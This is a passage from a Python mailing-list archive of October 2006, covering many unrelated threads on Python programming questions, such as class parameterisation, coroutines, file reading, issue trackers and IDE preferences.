> Skype: holdenweb       http://holdenweb.blogspot.com
> Recent Ramblings     http://del.icio.us/steve.holden



From steve at holdenweb.com  Sun Oct 29 22:42:14 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 30 Oct 2006 03:42:14 +0000
Subject: importing class
In-Reply-To: <1162140046.696622.295130@m7g2000cwm.googlegroups.com>
References: <1161966120.828597.57280@b28g2000cwb.googlegroups.com>	<pan.2006.10.27.16.28.47.580241@gmx.net>
	<1162140046.696622.295130@m7g2000cwm.googlegroups.com>
Message-ID: <ei3s8g$6en$1@sea.gmane.org>

gmarkowsky at gmail.com wrote:
> Thanks, I got that part. The problem I'm still having is that it's not
> seeing things like text_1, which are defined in the program. How can I
> make it see that?
> 
Your module is intended to work with many different main programs, so it 
shouldn't make any assumptions about the names that the main program 
uses for things. That would be rather bad programming style ("rigind 
coupling" is something to be avoided where possible). I wouldn't call 
that class App just because it's misleading: maybe you could change the 
name to YesNo, or Choice, or something more indicative of its function?

You could pass text_1 and text_2 as arguments to the class's __init__ 
method - that way you could just use them directly.

> Another question I should ask is whether I should even bother doing
> this. That is, it seems that the elegant and approved way of doing this
> kind of thing may be to put a class in a module and then just use the
> module over and over again in programs. I'm making a few GUIs which
> present two options and ask the user to chose one, so I thought I could
> just do it this way. Of course I could very easily just copy and paste
> the class into each file, but that seems silly. I haven't had any
> trouble using modules for functions, but for classes it is not working
> right so far, and I'm having trouble finding examples to follow.
> 
Seems like parameterization is the thing you are missing. Change the 
__init__ method declaration to

     def __init__(self, master, text_1="OK", text_2="Cancel"):
         ...

leaving the rest of the code the same. (Though I note your module also 
fails to define a "command1" and "command2" function, this may just be 
because you are only quoting partial code).

Then in your main program create the object with

     myDialog = YesNo(master, "Yes", "No")

Looks like you are new to Python - perseverre and you will pick it up 
quite quickly!

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From breakfastea at gmail.com  Fri Oct  6 14:05:09 2006
From: breakfastea at gmail.com (Camellia)
Date: 6 Oct 2006 11:05:09 -0700
Subject: humble coin head or tail game script I wrote
Message-ID: <1160157908.997499.289220@k70g2000cwa.googlegroups.com>

Hi there this is an easy game which was inspired from my psychology
class.

I'll get 5/10 right prediction of your guess of head and tail at most
time.
If you could copy the code and run it that would be great:)

code:
-----------------------
# Head or Tail
#
# Get a list which contains 10 values from the user
# let them predict Head Or Tail in ten times coin thrown
# and then prdict the list by a fixed rule


list = []

print 'Predict Head or Tail in ten times coin thrown\nJust input \'h\'
or \'t\' please\n'

count = 0
while True:
    count += 1
    print '\nNo.', count, ', h or t? '
    pre_user = raw_input()
    while pre_user != 'h' and pre_user != 't':
        print '\njust enter \'h\' or \'t\' please'
        print '\nNo.', count, ', h or t? '
        pre_user = raw_input()
    list.append(pre_user)
    if count == 10:
        break

correct = 0
import random
ini_guess = random.randrange(1)
list_guess = ['t', 'h']
ini_guess = list_guess[ini_guess]
# generate random initial guess
for item in list:
    if item == ini_guess:
        correct += 1
    elif item == 'h':
        ini_guess = 't'
    elif item == 't':
        ini_guess == 'h'

print '\n\nI got', correct, 'out of 10 correct.'

raw_input('press enter to exit')
--------------------------------------------

I know it looks stupid, but it's fun:)

peace
Kelvin



From diffuser78 at gmail.com  Tue Oct 24 10:27:14 2006
From: diffuser78 at gmail.com (Daniel)
Date: 24 Oct 2006 07:27:14 -0700
Subject: Network Simulator in Python
In-Reply-To: <1161656725.365967.305510@h48g2000cwc.googlegroups.com>
References: <1161656725.365967.305510@h48g2000cwc.googlegroups.com>
Message-ID: <1161700034.559096.131290@i42g2000cwa.googlegroups.com>

Any help ?


Daniel wrote:
> Hi,
>
> I was wondering if anybody can give me pointers on an existing network
> simulator in Python somthing like ns2 which would model all the real
> world internet dynamics including TCP stacks, congestion, flow control
> etc.
> 
> Every help is appreciated,
> 
> Thanks



From ilias at lazaridis.com  Tue Oct 10 23:49:01 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 10 Oct 2006 20:49:01 -0700
Subject: Python component model
In-Reply-To: <eghai4$615$1@online.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
Message-ID: <1160538541.540371.133160@e3g2000cwe.googlegroups.com>

Peter Maas wrote:
> Bruno Desthuilliers schrieb:
>  > Marc 'BlackJack' Rintsch wrote:
>  > (snip)
>  >   Python itself is a RAD tool.
>  >
>  > +1 QOTW
>
> No, please stop self-assuring, self-pleasing QOTWs! This afternoon
> I was in the local book warehouse and went to the computer book
> department. They had banned 2-3 Python books together with some
> Perl- and C/C++ stuff into the last row. At the regular place I found
> a huge pile of Java books and - in comparison to Java - a small but
> growing number of books about Ruby in general, Ruby on Rails and -
> new to me - JRuby.
>
> Now I don't think that Ruby is a bad language. But I think Python is
> better and it started earlier. I don't know whether Ruby on Rails was
> a fluke or the result of clever analysis. Since a large part of
> programming is web programming it is not bad to have a good and visible
> tool in place to attract programmers. It is also a good idea to hook on
> Java's success but while Jython 2.2 is in alpha state since 3 years I
> see an increasing number of books/articles telling how to migrate from
> Java to (J)Ruby. Since I started using Python 4 years ago I hear Ruby
> people announce with an amazing audacitiy that Ruby is bound to be number
> one and will for sure leave Python behind.
>
> To prevent this to happen parts of the Python community should have a
> more critical attitude to the language. Too often I hear the same
> mantras being repeated over and over again (GIL, self, IDE etc.). I
> don't say these mantras are all wrong but perhaps it would be good to
> remove the GIL just to stop people talking about Python's lack of
> multi-threading or polish Python's class syntax to stop people talking
> about Python's OO being bolted on etc. Programmers often choose their
> languages by very silly reasoning (silliest being the indentation issue)
> and maybe we should take the silliness into account instead of laughing
> about those silly folks.
>
> I for my part would be happy to see a Delphi-like RAD tool for Python,
> a reference implementation for web programming as part of the standard
> library, Jython 2.5, Python for PHP or whatever attracts new programmers.
>
> Peter Maas, Aachen

well said.

Based on a comment in this thread, I've just detected this one:

http://code.enthought.com/ets/

http://code.enthought.com/envisage/

BSD2 licensed, so it's very attractive as a foundation for a
joint-community-effort.

_very_ interesting stuff, i've placed in on the list for a later
review:

http://case.lazaridis.com/wiki/Stack

.



From mail at microcorp.co.za  Mon Oct  9 01:51:55 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Mon, 9 Oct 2006 07:51:55 +0200
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu>	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>	<yCQSg.41$1n3.351@news.tufts.edu><1159493520.289291.276850@b28g2000cwb.googlegroups.com><mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
Message-ID: <018601c6eb67$348db9a0$03000080@hendrik>

"Lawrence D'Oliveiro" <ldo at geek-central.gen.new_zealand> wrote:

8<--------------------------------------------------------

> I wonder if we need another "middle" field for holding the "bin/binte" part
> (could also hold, e.g. "Van" for those names that use this).

NOOOOO! - I think of my surname as "van Rooyen" - its only a string with a space
in it - and its peculiar in that the first letter is not capitalised....

And I am sure that the people called "von Kardorff" would not agree either...

- Hendrik van Rooyen





From aisaac0 at verizon.net  Wed Oct  4 21:30:22 2006
From: aisaac0 at verizon.net (David Isaac)
Date: Thu, 05 Oct 2006 01:30:22 GMT
Subject: yet another "groupsofn" function (newbie entertainment)
Message-ID: <OeZUg.24784$Oh3.11481@trnddc04>

I have not seen this posted and I kind of like it.
Shared for entertainment value only.
Alan Isaac
PS Easily adapted if the residual
group is not desired.

def groupsofsize(iterable,size):
    itr = iter(iterable)
    c=count()
    for k,it in groupby(itr,lambda x:c.next()//size):
        yield tuple(y for y in it)




From martin at v.loewis.de  Sun Oct 22 00:46:55 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 22 Oct 2006 06:46:55 +0200
Subject: PSF Infrastructure has chosen Roundup as the issue tracker for
	Python development
In-Reply-To: <1161490344.858999.291130@b28g2000cwb.googlegroups.com>
References: <bbaeab100610201335q7fe14f9dx3be89b529778a7a@mail.gmail.com>
	<mailman.875.1161381121.11739.python-list@python.org>
	<1161490344.858999.291130@b28g2000cwb.googlegroups.com>
Message-ID: <453AF7BF.6060405@v.loewis.de>

beliavsky at aol.com schrieb:
> I wonder if the committee has really decided on a PROBLEM or BUG
> tracker, not an "issue" tracker. For some silly reason, "issue" has
> become a euphemism for "problem" nowadays. It is worth keeping in mind
> the difference. Questions about the future direction of Python, such as
> (for example) whether there should be optional static typing, are
> "issues". Python crashing for some reason would be a "problem".

Traditionally (i.e. on SF), we have been tracking three different kinds
of things: bugs, patches, and "requests for enhancements". While bug
reports clearly indicate problems, patches do not so necessarily. The
patch, in itself, is not a "problem", instead, it is fortunate that
somebody contributes to Python. Some patches are, of course, meant to
solve some problem. One may argue that all patches are contributed
because they solve a problem of the submitter.

However, from a technical point of view, these distinctions are minor,
and, indeed, it has been counter-productive to have different trackers
for different kinds of "issues". So the roundup installation will
likely have only a single tracker, with filters to find out whether
the submissions include patches, and perhaps also whether the issue
discussed is an enhancement or not.

Regards,
Martin


From eurleif at ecritters.biz  Tue Oct  3 15:55:12 2006
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Tue, 03 Oct 2006 15:55:12 -0400
Subject: Looping over a list question
In-Reply-To: <mailman.1189.1159901208.10491.python-list@python.org>
References: <W53996344.646.4717.1@mx-extra>
	<mailman.1189.1159901208.10491.python-list@python.org>
Message-ID: <4522bff9$0$25792$4d3efbfe@news.sover.net>

Tim Williams wrote:
> Maybe
> 
>>>> def myfunc(txt):
> ...     print txt
> ...    
>>>> datafiles = ['1.txt','2.txt','3.txt','4.tst']
>>>> null = [myfunc(i) for i in datafiles if '.txt' in i]
> 1.txt
> 2.txt
> 3.txt

Ew. List comprehensions with side effects are very icky.


From chandra82_tech at yahoo.com  Mon Oct  9 16:30:09 2006
From: chandra82_tech at yahoo.com (Chandra)
Date: 9 Oct 2006 13:30:09 -0700
Subject: How to execute a python script in .NET application
In-Reply-To: <1160214391.120548.143740@c28g2000cwb.googlegroups.com>
References: <1160175618.029261.43440@i3g2000cwc.googlegroups.com>
	<1160214391.120548.143740@c28g2000cwb.googlegroups.com>
Message-ID: <1160425809.858985.23290@b28g2000cwb.googlegroups.com>

Thanks all of them, i used the command line process (executing the
script in cmd shell) method for executing python script.

Regards,
Chandra

Gerard Flanagan wrote:
> Chandra wrote:
>
> > Hi,
> >
> > Is there a way to execute a python script(file) in ASP.NET application
> > (programmatically)??
> >
> > Regards,
> > Chandra
>
>
> I thought IIS would prevent this, but the following works for me at
> home (ASP.NET 1.1). A production setup may be a different matter.
>
> using System.Diagnostics
>
> 	public class WebForm1 : System.Web.UI.Page
> 	{
> 		protected System.Web.UI.WebControls.Label Label1;
>
> 		private void Page_Load(object sender, System.EventArgs e)
> 		{
> 			ProcessStartInfo startInfo;
> 			Process process;
> 			string directory = @"c:\python\python24\Lib\site-packages";
> 			string script = "test.py";
>
> 			startInfo = new ProcessStartInfo("python");
> 			startInfo.WorkingDirectory = directory;
> 			startInfo.Arguments = script;
> 			startInfo.UseShellExecute = false;
> 			startInfo.CreateNoWindow = true;
> 			startInfo.RedirectStandardOutput = true;
> 			startInfo.RedirectStandardError = true;
>
> 			process = new Process();
> 			process.StartInfo = startInfo;
> 			process.Start();
>
> 			string s;
> 			while ((s = process.StandardOutput.ReadLine()) != null)
> 			{
> 				Label1.Text += s;
> 			} 
> 		}
> }



From rdiaz02 at gmail.com  Sun Oct 29 04:29:29 2006
From: rdiaz02 at gmail.com (Ramon Diaz-Uriarte)
Date: Sun, 29 Oct 2006 10:29:29 +0100
Subject: What's the best IDE?
In-Reply-To: <87pscefzti.fsf@benfinney.id.au>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
	<1161828498.791044.144040@f16g2000cwb.googlegroups.com>
	<7g40h.165$1n3.4282@news.tufts.edu>
	<fT40h.7805$5i7.6796@newsreading01.news.tds.net>
	<xqxu01qeutv.fsf@cola3.ca.boeing.com> <87pscefzti.fsf@benfinney.id.au>
Message-ID: <624934630610290129j1ce07517ib9385ba69efbd945@mail.gmail.com>

On 10/26/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> Harry George <harry.g.george at boeing.com> writes:
>
> > John Salerno <johnjsal at NOSPAMgmail.com> writes:
> > > Yeah, it was all the customizing that I could never figure out.
> >
> > years ago this worked for people I was supporting:
> >  set softtabstop=4 shiftwidth=4 expandtab
>
> That's all I've ever needed vim to do with my Python code (apart from
> the syntax highlighting, which works by default when I've tried it).
>
> > Personally, I'm an emacs guy, so I wouldn't know.
>
> Should I start another thread about python-mode and how annoying it is?
>


Ben, as an Emacs guy tempted by Vim I'd definitely like to know what
you find annoying about python-mode, and how Vim does not annoy you
here. If this answer might risk leading the thread somewhere we don't
want, I'd anyway by very interested in a private email.

Best,

R.

> --
>  \          "If you get invited to your first orgy, don't just show up |
>   `\             nude. That's a common mistake. You have to let nudity |
> _o__)                                       'happen.'"  -- Jack Handey |
> Ben Finney
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


-- 
Ramon Diaz-Uriarte
Statistical Computing Team
Structural Biology and Biocomputing Programme
Spanish National Cancer Centre (CNIO)
http://ligarto.org/rdiaz


From skip at pobox.com  Mon Oct 30 13:53:57 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 30 Oct 2006 12:53:57 -0600
Subject: Python 123 introduction
In-Reply-To: <1162230329.413075.93370@b28g2000cwb.googlegroups.com>
References: <ei4k1t$97e$1@gemini.csx.cam.ac.uk>
	<1162230329.413075.93370@b28g2000cwb.googlegroups.com>
Message-ID: <17734.19013.487093.23589@montanaro.dyndns.org>


    dakman> This is great! A excellent tutorial for somone who has prior
    dakman> experience in programming and is starting out in python. My
    dakman> friend keeps wanting me to teach him python, I think this would
    dakman> be the perfect link for him.

I'm not trying to minimize Jeremy's efforts in any way, but how is his
tutorial a significant improvement over the original
(http://www.python.org/doc/current/tut/)?

Skip


From horpner at yahoo.com  Thu Oct  5 18:35:19 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Thu, 05 Oct 2006 22:35:19 GMT
Subject: Strange sorting error message
References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>
	<mailman.1214.1159929494.10491.python-list@python.org>
	<1160085635.215544.96580@h48g2000cwc.googlegroups.com>
Message-ID: <HMfVg.4318$5i7.2585@newsreading01.news.tds.net>

On 2006-10-05, Dustan <DustanGroups at gmail.com> wrote:
>
> Steve Holden wrote:
>> Dustan wrote:
>> > I'm hiding some of the details here, because I don't want to
>> > say what I'm actually doing.
>> > [...]
>>
>> I have the answer to your problem but I don't actually want to
>> tell you what it is.
>
> That's great, seeing as I already figured out the answer, as I
> have already posted in a reply.

I had a good laugh at it.

> Are you saying I broke one of these rules?
> http://www.catb.org/~esr/faqs/smart-questions.html
> Or are you just being plain rude?
> A lack of a response from you implies the latter...

SPOILER SPACE

It was a joke, based on you hiding what you are doing, he decided
to hide the solution to your problem. Get it?

-- 
Neil Cerutti


From http  Mon Oct 16 16:30:46 2006
From: http (Paul Rubin)
Date: 16 Oct 2006 13:30:46 -0700
Subject: Need a strange sort method...
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com>
	<mailman.587.1161023793.11739.python-list@python.org>
	<1161028595.918128.198190@h48g2000cwc.googlegroups.com>
	<1161028913.598854.111950@b28g2000cwb.googlegroups.com>
Message-ID: <7xhcy40zrd.fsf@ruckus.brouhaha.com>

"SpreadTooThin" <bjobrien62 at gmail.com> writes:
> > I have one extra 10 that I shouldn't...
> 
> I think my loop termination is incorrect...

It looks wrong to me; try your loop on range(20) and see what happens.

> maybe I should just stop when my new series size is the same size as
> the original?

You should make exactly 3 passes.  You might also want to use
list.extend rather than adding lists.  Finally, your function modifies
its input list (by sorting it), which generally is not nice unless the
caller expects it and wants it.  You can save the caller some trouble
by making a sorted copy to work from.


From nospam at jollans.com  Mon Oct  2 16:27:39 2006
From: nospam at jollans.com (Thomas Jollans)
Date: Mon, 2 Oct 2006 22:27:39 +0200
Subject: moving limewire music to my itunes library
References: <1159820467.904936.300170@i42g2000cwa.googlegroups.com>
Message-ID: <efrsnr$isi$01$3@news.t-online.com>

On Mon, 02 Oct 2006 13:21:07 -0700, jenann50 at hotmail.com let this slip:

> hi all, i know this is probably a silly question but i dont know how to
> move my limewire tunes to my itunes folder so that i can download them
> onto my ipod. also if i have a music cd and load it into media windows
> player, how do i also get that music into my itunes library
> ta all
> jen

What does this have to do with python ?

-- 
Thomas Jollans alias free-zombie


From johnjsal at NOSPAMgmail.com  Wed Oct 25 15:34:48 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 19:34:48 GMT
Subject: with statements and exceptions
Message-ID: <s%O%g.158$1n3.4021@news.tufts.edu>

I'm thinking about using a with statement for opening a file, instead of 
the usual try/except block, but I don't understand where you handle an 
exception if the file doesn't open. For example:

with open('myfile', 'r'):
     BLOCK

I assume that BLOCK can/will contain all the other stuff you want to do, 
which may involve try/except blocks, but what if the initial open() call 
fails (for lack of file, etc.)? Is this the purpose of the with 
statement, to handle this itself? Is there still some way that I can 
respond to this and show the user an error message?

Thanks.


From steve at holdenweb.com  Tue Oct 24 07:29:36 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 24 Oct 2006 12:29:36 +0100
Subject: can't open word document after string replacements
In-Reply-To: <30f41$453de7c9$544abf75$16552@news.hispeed.ch>
References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>	<453dd1b8$0$15214$426a74cc@news.free.fr>
	<30f41$453de7c9$544abf75$16552@news.hispeed.ch>
Message-ID: <ehktct$tjn$1@sea.gmane.org>

Antoine De Groote wrote:
> Bruno Desthuilliers wrote:
> 
>>Antoine De Groote wrote:
>>
>>>Hi there,
>>>
>>>I have a word document containing pictures and text. This documents
>>>holds several 'ABCDEF' strings which serve as a placeholder for names.
>>>Now I want to replace these occurences with names in a list (members).
>>
>>Do you know that MS Word already provides this kind of features ?
> 
> 
> 
> No, I don't. Sounds interesting... What is this feature called?
> 
Mail-merge, I believe.

However, if your document can be adequately represented in RTF 
(rich-text format) then you could consider doing string replacements on 
that. I invoice the PyCon sponsors using this rather inelegant technique.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From exarkun at divmod.com  Sun Oct  8 15:50:36 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Sun, 8 Oct 2006 15:50:36 -0400
Subject: PEP 342 misunderstanding
In-Reply-To: <1160335982.242058.59780@k70g2000cwa.googlegroups.com>
Message-ID: <20061008195036.1717.290119821.divmod.quotient.71109@ohm>

On 8 Oct 2006 12:33:02 -0700, metamoof at gmail.com wrote:
>So I've been reading up on all the new stuff in PEP 342, and trying to
>understand its potential. So I'm starting with a few simple examples to
>see if they work as expected, and find they dont.
>
>I'm basically trying to do the following:
>
>for x in range(10):
>    print x*2
>
>but coroutine-style.
>
>My initial try was:
>
>>>> def printrange():
>...     for x in range(10):
>...         x = yield x
>...         print x
>...
>>>> g = printrange()
>>>> for x in g:
>...     g.send(x*2)
>...

Try this instead:

  >>> x = None
  >>> while 1:
  ...     if x is None:
  ...             send = None
  ...     else:
  ...             send = x * 2
  ...     try:
  ...             x = g.send(send)
  ...     except StopIteration:
  ...             break
  ...
  0
  2
  4
  6
  8
  10
  12
  14
  16
  18


>
>Now, I was expecting that to be 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20.
>
>What am I missing here?

Your code was calling next and send, when it should have only been calling
send.

Jean-Paul


From esj at harvee.org  Tue Oct  3 10:08:16 2006
From: esj at harvee.org (Eric S. Johansson)
Date: Tue, 03 Oct 2006 10:08:16 -0400
Subject: CGI -> mod_python
In-Reply-To: <efstpj$ima$03$1@news.t-online.com>
References: <1159852046.487836.266980@m7g2000cwm.googlegroups.com>
	<efstpj$ima$03$1@news.t-online.com>
Message-ID: <eftqsm$t0t$1@sea.gmane.org>

Thomas Jollans wrote:
> Not that I know of, but thanks to the WSGI (specified in PEP 333:
> http://www.python.org/dev/peps/pep-0333/) you should be able to convert
> your app to WSGI, which will run on mod_python, relatively easily
> (depending on your code; 'print' won't work anymore)

I assume this is the library one could use if you were running on Python 
2.3 or 2.4

http://cheeseshop.python.org/pypi/wsgiref

--- eric




From steve at holdenweb.com  Wed Oct 25 22:23:11 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 26 Oct 2006 03:23:11 +0100
Subject: question about True values
In-Reply-To: <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
References: <grO%g.152$1n3.4134@news.tufts.edu>	<17727.47016.632530.720950@montanaro.dyndns.org>	<ehoqhe$6iq$3@sea.gmane.org>
	<ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
Message-ID: <ehp64d$8c3$1@sea.gmane.org>

Gabriel Genellina wrote:
> At Wednesday 25/10/2006 22:29, Terry Reedy wrote:
> 
>> >> the string class's "nil" value.  Each of the builtin types has such an
>> >> "empty" or "nil" value:
>> >>
>> >>     string              ""
>> >>     list                []
>> >>     tuple               ()
>> >>     dict                {}
>> >>     int                 0
>> >>     float               0.0
>> >>     complex             0j
>> >>     set                 set()
>> >>
>> >> Any other value besides the above will compare as "not false".
>> >>
>> >
>> > And today's question for the novices is: which Python type did Skip 
>> miss
>> > from the above list?
>>
>> more that one:
>>
>> 0L
>> decimal.Decimal(0) # is decimal.Decimal('0'), also
>> u''
>> array.array('c') # or any other typecode, I suspect, without initializer
> 
> 
> Just for fun:
> buffer('')
> frozenset()
> iter(())
> xrange(0)
> 
There's still a very obvious omission ...

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From mahs at telcopartners.com  Fri Oct 20 02:26:14 2006
From: mahs at telcopartners.com (Michael Spencer)
Date: Thu, 19 Oct 2006 23:26:14 -0700
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax Trees
Message-ID: <eh9q4p$512$1@sea.gmane.org>


Announcing: compiler2
---------------------

For all you bytecode enthusiasts:  'compiler2' is an alternative to the standard 
library 'compiler' package, with several advantages.

Improved pure-python compiler

- Produces identical bytecode* to the built-in compile function for all /Lib
   and Lib/test modules, including 'peephole' optimizations
- Works with 2.5's 'factory-installed' ASTs, rather than 2.4's 'after-market'
   version
- Is significantly faster

    * Except for the pesky stack-depth calculation

Possible applications

- Understanding/documenting/verifying the compilation process
- Implementing experimental compilation features (compile-time constants,
   function in-lining anyone?)
- Whatever the old compiler package is used for ;-)


Getting started
---------------
Point your svn client to:
     http://svn.brownspencer.com/pycompiler/branches/new_ast/

Check out to a compiler2 directory on PYTHONPATH
Test with python test/test_compiler.py


Cheers
Michael



From skip at pobox.com  Mon Oct 23 14:53:08 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 23 Oct 2006 13:53:08 -0500
Subject: Looking for a Python-on-Windows person to help with SpamBayes
In-Reply-To: <1161626143.199801.306150@m73g2000cwd.googlegroups.com>
References: <mailman.994.1161625959.11739.python-list@python.org>
	<1161626143.199801.306150@m73g2000cwd.googlegroups.com>
Message-ID: <17725.3988.135062.717262@montanaro.dyndns.org>


    olsongt> Does ocrad require the cygwin environment to run?

No.  It was compiled so it didn't require the cygwin runtime environment.  I
presume it was statically linked.

Skip


From fredrik at pythonware.com  Tue Oct 10 12:33:02 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 18:33:02 +0200
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <egggaf$3kr$1@sea.gmane.org>
References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com><pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au><1160332330.684420.276560@e3g2000cwe.googlegroups.com><mailman.61.1160333064.11739.python-list@python.org><1160335473.625244.261640@m7g2000cwm.googlegroups.com><mailman.76.1160338331.11739.python-list@python.org><1160345922.051578.146630@i3g2000cwc.googlegroups.com><mailman.97.1160379058.11739.python-list@python.org><sBvWg.9232$o71.985@newsread3.news.pas.earthlink.net>	<1160455280.118212.202770@b28g2000cwb.googlegroups.com>
	<egggaf$3kr$1@sea.gmane.org>
Message-ID: <egghvv$bdm$1@sea.gmane.org>

Terry Reedy wrote:

> Is there an outer loop being 'break'ed?

yes.

> This break is swallowed by the for loop, so not exactly equivalent, I 
> think.

the code is supposed to break out of the outer loop when it runs out of 
lines, so yes, monkeeboy's code is broken in more than one way.

> In any case, these are both clumsy and I believe I would instead 
> write something like
> 
> for i in range(lineno, len(self.__lines)):
>   print self.__lines[i]

that doesn't do the same thing, either.

and you both seem to be missing that

     try:
         for loop over something:
             do something with something
     except IndexError:
         ...

is a common pydiom when you expect to process quite a few somethings, 
and you don't want to waste time on calculating end conditions up front 
or checking for end conditions inside the loop or otherwise looking 
before you leap (LBYL); the pydiom lets you process things as quickly as 
you possibly can, as long as you possibly can, and deal with the end of 
the sequence when you hit it (EAFP*).

</F>

*) insert martelli essay here



From cameron.walsh at gmail.com  Thu Oct 26 23:52:27 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Fri, 27 Oct 2006 11:52:27 +0800
Subject: Insert Content of a File into a Variable
In-Reply-To: <mailman.1310.1161913065.11739.python-list@python.org>
References: <mailman.1310.1161913065.11739.python-list@python.org>
Message-ID: <ehrvou$p27$1@enyo.uwa.edu.au>

Wijaya Edward wrote:
> Hi,
>  
> How can we slurp all content of a single file 
> into one variable?
>  
> I tried this:
>  
>>>> myfile_content = open('somefile.txt')
>>>> print myfile_content,
> <open file 'somefile.txt', mode 'r' at 0xb7f532e0>
> 
>  
> But it doesn't print the content of the file.

 >>> help(open)
Help on built-in function open in module __builtin__:

open(...)
     open(name[, mode[, buffering]]) -> file object

     Open a file using the file() type, returns a file object.

 >>> help(file)
Help on class file in module __builtin__:

class file(object)
  |  file(name[, mode[, buffering]]) -> file object

<SNIP>

  |read(...)
  |  read([size]) -> read at most size bytes, returned as a string.
  |
  |  If the size argument is negative or omitted, read until EOF is
  |  reached.
  |  Notice that when in non-blocking mode, less data than what was
  |  requested
  |  may be returned, even if no size parameter was given.

<SNIP>

  |readlines(...)
  |  readlines([size]) -> list of strings, each a line from the file.
  |
  |  Call readline() repeatedly and return a list of the lines so read.
  |  The optional size argument, if given, is an approximate bound on the
  |  total number of bytes in the lines returned.

<SNIP>

Those sound useful...

Or alternatively:

 >>> my_file = open('somefile.txt')
 >>> print myfile_content,
<open file 'somefile.txt', mode 'r' at 0xb7f532e0>
 >>> #Hmmm, that's not what I wanted, what can I do with this?
 >>> dir(my_file)
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', 
'__getattribute__', '__hash__', '__init__', '__iter__', '__new__', 
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__str__', 
'close', 'closed', 'encoding', 'fileno', 'flush', 'isatty', 'mode', 
'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 
'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 
'xreadlines']
 >>> #That read attribute looks interesting...
 >>> my_file.read
<built-in method read of file object at 0x011750B0>
 >>> my_file.read()

Ye gads!  I wish I'd chosen a shorter file!  Or used a variable to put 
it in! <SNIP>

 >>> text = my_file.read()
 >>> print text

Ye gads!  I wish I'd chosen a shorter file!  <SNIP>


You might also try:
 >>> lines = my_file.readlines()
 >>> for line in lines:
 >>>     print line

<SNIP lots of lines>

Hope it helps,

Cameron.


From deets at nospam.web.de  Fri Oct 20 10:12:19 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 20 Oct 2006 16:12:19 +0200
Subject: Can I use decorators to manipulate return type or create methods?
In-Reply-To: <1161351924.477097.257490@k70g2000cwa.googlegroups.com>
References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>
	<4ppla2Fit83qU1@uni-berlin.de>
	<1161298362.722062.265520@i3g2000cwc.googlegroups.com>
	<1161313194.211420.236840@b28g2000cwb.googlegroups.com>
	<4prgkiFjj80iU1@uni-berlin.de>
	<1161351924.477097.257490@k70g2000cwa.googlegroups.com>
Message-ID: <4ps3q0FjsdicU1@uni-berlin.de>

WakeBdr schrieb:
> OK, I think I'm close now.  I just can't get past this one error.  Here
> is my code, followed by the output produced when I run it.

Stupid mistake of me - I didn't properly create a closure for the 
functions to set. See the corrected version in the attachment.

Diez
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From rupole at hotmail.com  Fri Oct 13 01:37:34 2006
From: rupole at hotmail.com (Roger Upole)
Date: Fri, 13 Oct 2006 01:37:34 -0400
Subject: COM and Threads
References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com>
	<1160712022_1597@sp6iad.superfeed.net>
	<1160713687.665650.221900@b28g2000cwb.googlegroups.com>
Message-ID: <1160718073_1665@sp6iad.superfeed.net>


"Teja" <tejovathi.p at gmail.com> wrote:
>
> Roger Upole wrote:
>
